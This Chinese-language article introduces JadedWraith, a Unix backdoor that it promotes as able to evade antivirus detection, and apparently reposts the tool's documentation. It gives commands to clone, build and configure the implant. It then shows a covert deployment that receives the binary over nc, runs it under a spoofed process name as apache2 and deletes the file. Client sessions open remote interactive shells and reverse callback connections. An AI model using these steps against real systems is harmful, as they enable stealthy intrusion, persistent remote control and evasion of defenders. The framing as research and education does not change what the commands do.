對紅隊及打CTF非常有用的工具
關于JadedWraith
JadedWraith是一款功能強大的輕量級Unix后門,僅供研究及教育目的使用。該工具對于紅隊研究人員和CTF參賽人員非常有用,并且可以在不被反病毒產品檢測到的情況下植入目標系統。
功能介紹
JadedWraith是一個功能強大的后門,可以監聽TCP端口,也可以嗅探數據包中的ICMP數據包,并控制后門返回信息或繼續監聽。
該工具基于類似PRISM的工具實現其功能,但與PRISM不同的是,JadedWraith使用了加密算法來對控制命令進行了混淆處理。
JadedWraith可以幫助廣大研究人員在目標設備上執行遠程命令或上傳后續的Payload。
JadedWraith可以編譯為獨立的可執行文件,也可以編譯為進程注入的共享對象。
JadedWraith組件
實際植入的后門源碼存在于src目錄中。client目錄中包含了一個基于Python開發的客戶端,主要用于跟JadedWraith進行交互。
項目中的conf_jawr腳本可以用于配置新的JadedWraith可執行程序。
依賴組件
植入的后門程序需要使用一個現代C代碼庫和libpthread。
具體取決于目標操作系統類型,可能還會需要使用到libpcap。
Python配置腳本和客戶端的正常運行則需要使用到termcolor和pycryptodomex。
工具下載
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/phath0m/JadedWraith.git
工具編譯
廣大研究人員可以直接使用Makefile來編譯工具源碼。
注意:編譯完成后的代碼將存儲在bin目錄中,而且必須在使用之前需要進行配置:
$ ./configure $ make $ ls -lart bin -rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf
工具配置
我們可以使用conf_jawr腳本來配置JadedWraith可執行程序。
該腳本將搜索bin目錄以尋找需要配置的JadedWraith可執行程序。
配置后的項目代碼將會被寫入至configured目錄之中:
$ ./conf_jawr JadedWraith Configuration Please choose a JadedWraith binary to use: JadedWraith-2.0.0-Linux-x86_64.elf Binary : 1 Shared Key [95454c93c8d5d30a0782da72ade10e29] : Enable passive mode (ICMP wakeup) ? [y/n] y Wakeup Password [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] : argv[0] (Leave blank to not spoof command) [] : JadedWraith Executable : /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.bin Try me! sudo ./wraith-client.py -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj
后門植入
配置好的后門程序可以直接在目標系統上運行。
如果配置時使用了被動ICMP功能,則后門程序必須以root權限運行。
環境變量_CMD可以用來欺騙進程的“argv[]”參數:
# cd /tmp # nc -lvp 4444 > apache2 # chmod +x apache2 # _CMD="/usr/sbin/apache2" ./apache2 # rm apache2
后門交互
項目中client目錄內的wraith-client.py腳本可以用于跟JadedWraith交互,我們可以直接使用conf_jawr腳本生成的參數來調用wraith-client.py腳本,將目標IP替換。
如果使用ICMP功能,則必須以root用戶身份運行腳本以發送ICMP數據包。
$ ~/JadedWraithFork/client> sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR [+] sent ICMP wake up command to 192.168.100.224 [*] backdoor will listen on port 58290 [*] connecting to 192.168.100.224:58290 [+] connection established! [*] entering interactive shell >> .cd /tmp >> w 14:22:49 up 3:02, 1 user, load average: 0.18, 0.19, 0.23 USER TTY LOGIN@ IDLE JCPU PCPU WHAT >> ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:20 ? 00:00:01 /usr/lib/systemd/systemd --switched-root --system --deserialize 31 >> .exit $ sudo ./wraith-client.py 127.0.0.1 --callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR [+] sent ICMP wake up command to 127.0.0.1 [*] backdoor will connect to port 37943 [*] listening on port 37943 [+] accepted connection! [*] entering interactive shell >>
項目地址
JadedWraith:https://github.com/phath0m/JadedWraith
參考資料
- https://github.com/andreafabrizi/prism